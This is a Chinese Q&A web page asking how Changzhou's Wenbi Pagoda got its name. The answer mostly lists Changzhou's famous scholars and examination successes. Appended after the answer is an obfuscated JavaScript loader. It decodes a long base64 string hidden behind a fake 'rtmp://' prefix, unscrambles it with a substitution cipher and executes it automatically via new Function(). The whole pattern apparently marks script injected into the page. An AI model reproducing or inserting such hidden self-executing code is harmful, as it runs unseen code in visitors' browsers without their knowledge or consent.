常州文笔塔的由来是什么?

2025-03-16 02:32:16
推荐回答(1个)
回答1:

清代著名思想家龚自珍在《常州高材篇》中说:天下名士有部落,东南无与常匹俦。意思是要讲名人层出不穷的地方,在东南地区没有能和常州相比的。

常州坐落在长江三角州西部,是江南地区最早建邑的古城。在城内红梅公园里,有一座文笔塔,已经有一千多年的历史。据当地县志记载:相传塔为郡中文笔峰,每祥光腾现,开甲弟之先兆云。传说归传说,常州历史上可谓人才济济。北宋大观三年(1109年)一科300名进士中,常州府独占53名,在科举史上是史无前例的。清代时,又涌现了在全国文坛上颇有影响的阳湖文派、常州词派、常州画派;近代时,又有中国共产党早期卓越的政治活动家瞿秋白、张太雷、恽代英,并称常州三杰。

以江山代有才人出,各领风骚数万年诗句而出名的清代史学家、文学家赵翼,就是一位虎虎有生气的常州人才。1761年,已经入值清廷军机处的赵翼殿试第一名,本应是个状元,但皇帝为避历科鼎甲皆为军机所占的流言,却使赵冀成了第三名探花郎。这个先当官后科考的赵翼,被常州学子当作天上下凡的魁星。古城还涌现了明代散文唐宋派的代表人物唐顺之,清代人口论学者洪亮吉,以及《官场现形记》作者李伯元,文字改革的先驱张鹤龄等名人,都是常州人的骄傲。

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();